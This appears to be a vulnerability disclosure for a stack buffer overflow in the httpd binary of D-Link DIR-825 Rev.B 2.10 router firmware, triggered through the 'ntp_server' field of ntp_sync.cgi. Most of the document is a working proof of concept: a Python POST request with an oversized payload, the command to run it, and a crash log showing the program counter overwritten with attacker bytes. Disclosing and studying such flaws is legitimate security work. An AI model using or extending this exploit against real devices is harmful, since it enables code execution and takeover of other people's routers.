Description

```
there is a stack-based buffer overflow vulnerability that can be used to execute any code after user authentication

Vulnerability location: file:  /sbin/httpd

The attacker calls this function by sending a post packet to the http://ip/ntp_sync.cgi
```

Firmware version

```
version: Rev.B 2.10
download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/
```

Post package

```
ip = "http://192.168.0.1/"
url = ip + 'ntp_sync.cgi '

command = 'A'* 0x50

payload = {
    'ntp_server': command,
}

r = requests.post(url, data=payload)
```

Exploit exp

```
python3 ntp-server-overflow.py
```

Example output

```
ntp_sync_cgi: cmd=ntpclient -h AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -s -i 5 -c 1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: Unknown host
nvram_get_buf: lan_ipaddr
sem_get: Key: 410d0044
sem_get: Key: 410d0044
nvram_get_buf: = "192.168.0.1"
[ 5697.136000] do_page_fault() #2: sending SIGSEGV to httpd for invalid read access from
[ 5697.136000] 41414140 (epc == 41414141, ra == 41414141)
[ 5697.140000] Cpu 0
[ 5697.140000] $ 0   : 00000000 1000a400 00000000 100fd870
[ 5697.148000] $ 4   : 2af7e760 00000050 100fd880 100fd820
[ 5697.148000] $ 8   : 100fd870 8f265180 001496d8 806a33dc
[ 5697.152000] $12   : 806a0000 00000000 00000000 00000001
[ 5697.160000] $16   : 41414141 41414141 7fe5e486 100008d0
[ 5697.164000] $20   : 00000000 00000001 00460000 100885f4
[ 5697.168000] $24   : 8f2556e8 2af0e864
[ 5697.172000] $28   : 1000ba70 7fe5e460 7fe5e480 41414141
[ 5697.172000] Hi    : 00000000
[ 5697.180000] Lo    : 00000042
[ 5697.180000] epc   : 41414141 0x41414141
[ 5697.180000]     Not tainted
[ 5697.184000] ra    : 41414141 0x41414141
[ 5697.184000] Status: 0000a413    USER EXL IE
[ 5697.188000] Cause : 10800008
[ 5697.188000] BadVA : 41414140
[ 5697.196000] PrId  : 00019300 (MIPS 24Kc)
[ 5697.196000] Modules linked in:
[ 5697.196000] Process httpd (pid: 21436, threadinfo=8f2be000, task=8f22b6e0, tls=00000000)
[ 5697.204000] Stack : 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 5697.204000]         41414141 41202d73 202d6920 35202d63 20310032 30004854 54502f31 2e310d0a
[ 5697.208000]         000d0a00 74656e74 2d547970 653a2061 70706c69 63617469 6f6e2f78 2d777777
[ 5697.212000]         2d666f72 6d2d7572 6c656e63 6f646564 0d0a0000 00000000 00000000 00000000
[ 5697.216000]         00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
```